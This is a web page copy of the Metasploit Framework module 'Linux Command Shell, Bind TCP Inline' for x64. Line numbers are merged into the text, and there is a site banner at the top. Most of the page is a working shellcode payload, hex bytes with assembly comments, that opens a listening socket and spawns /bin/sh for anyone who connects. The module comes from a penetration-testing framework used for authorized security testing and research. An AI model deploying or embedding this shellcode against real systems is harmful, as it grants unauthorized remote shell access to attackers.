Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/linux/x64/shell_bind_tcp.rb
Views: 11781
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 86910include Msf::Payload::Single11include Msf::Payload::Linux12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'Linux Command Shell, Bind TCP Inline',17'Description' => 'Listen for a connection and spawn a command shell',18'Author' => 'ricky',19'License' => MSF_LICENSE,20'Platform' => 'linux',21'Arch' => ARCH_X64,22'Handler' => Msf::Handler::BindTcp,23'Session' => Msf::Sessions::CommandShellUnix,24'Payload' =>25{26'Offsets' =>27{28'LPORT' => [ 20, 'n' ],29},30'Payload' =>31"\x6a\x29" + # pushq $0x2932"\x58" + # pop %rax33"\x99" + # cltd34"\x6a\x02" + # pushq $0x235"\x5f" + # pop %rdi36"\x6a\x01" + # pushq $0x137"\x5e" + # pop %rsi38"\x0f\x05" + # syscall39"\x48\x97" + # xchg %rax,%rdi40"\x52" + # push %rdx41"\xc7\x04\x24\x02\x00" + # movl $0xb3150002,(%rsp)42"\x15\xb3" + #43"\x48\x89\xe6" + # mov %rsp,%rsi44"\x6a\x10" + # pushq $0x1045"\x5a" + # pop %rdx46"\x6a\x31" + # pushq $0x3147"\x58" + # pop %rax48"\x0f\x05" + # syscall49"\x6a\x32" + # pushq $0x3250"\x58" + # pop %rax51"\x0f\x05" + # syscall52"\x48\x31\xf6" + # xor %rsi,%rsi53"\x6a\x2b" + # pushq $0x2b54"\x58" + # pop %rax55"\x0f\x05" + # syscall56"\x48\x97" + # xchg %rax,%rdi57"\x6a\x03" + # pushq $0x358"\x5e" + # pop %rsi59"\x48\xff\xce" + # dec %rsi60"\x6a\x21" + # pushq $0x2161"\x58" + # pop %rax62"\x0f\x05" + # syscall63"\x75\xf6" + # jne 33 <dup2_loop>64"\x6a\x3b" + # pushq $0x3b65"\x58" + # pop %rax66"\x99" + # cltd67"\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx68"\x73\x68\x00" + #69"\x53" + # push %rbx70"\x48\x89\xe7" + # mov %rsp,%rdi71"\x52" + # push %rdx72"\x57" + # push %rdi73"\x48\x89\xe6" + # mov %rsp,%rsi74"\x0f\x05" # syscall75}76))77end78end798081